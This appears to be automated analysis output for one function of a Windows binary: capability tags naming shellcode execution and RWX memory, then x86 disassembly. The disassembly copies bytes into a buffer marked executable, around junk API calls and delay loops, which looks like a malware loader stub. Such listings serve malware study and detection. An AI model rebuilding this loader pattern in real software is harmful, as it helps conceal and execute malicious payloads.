Function at 0x403773
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x803a97
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1cd4
call fcn.0040bbb0
push ebx
push esi
xor esi, esi
cmp dword [0xc6ad9c], 0x5b1
push edi
jne 0x403813
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402db8
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea eax, [esp + 0x24]
call fcn.00403aca
push esi
mov dword [esp + 0x1cf0], esi
call fcn.0040465f
pop ecx
call fcn.004045fd
lea ecx, [esp + 0x18]
call fcn.004033ac
lea ecx, [esp + 0x18]
call fcn.004033c5
push esi
push esi
call reloc.KERNEL32.dll_GetStdHandle
push esi
call fcn.0040494d
add esp, 0xc
push esi
call fcn.00404d95
add dword [0xc6ad9c], 0x1134b
push dword [0xc6ad9c]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push dword [0xc6ad9c]
mov dword [0xc43f3c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x40386b
inc edi
cmp edi, 0x4f6a4
jl 0x40384b
xor edi, edi
cmp dword [0xc6ad9c], esi
jbe 0x4038c9
cmp dword [0xc6ad9c], 0xa8
mov eax, dword [0xc6b800]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0xc43f3c]
mov byte [ecx + edi], al
jne 0x4038c0
push 0x402e00
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x402e18
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0xc6ad9c]
jb 0x403875
xor edi, edi
mov eax, dword [0xc6ad9c]
add eax, edi
cmp eax, 0xe
jne 0x40392f
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402e78
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x402e80
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402ee8
push 0x402f00
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [esp + 0x14e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x4038cb
call fcn.00403657
xor edi, edi
call ebx
cmp edi, 0x26
jne 0x40394b
call fcn.00403759
inc edi
cmp edi, 0x6753f
jl 0x40393f
push 0x7b
pop edi
cmp dword [0xc6ad9c], 0x86
jne 0x4039bc
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x402f20
push 0x402f70
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x402fe8
push 0x403020
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x10e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x403957
push 0x403044
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x1ce4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret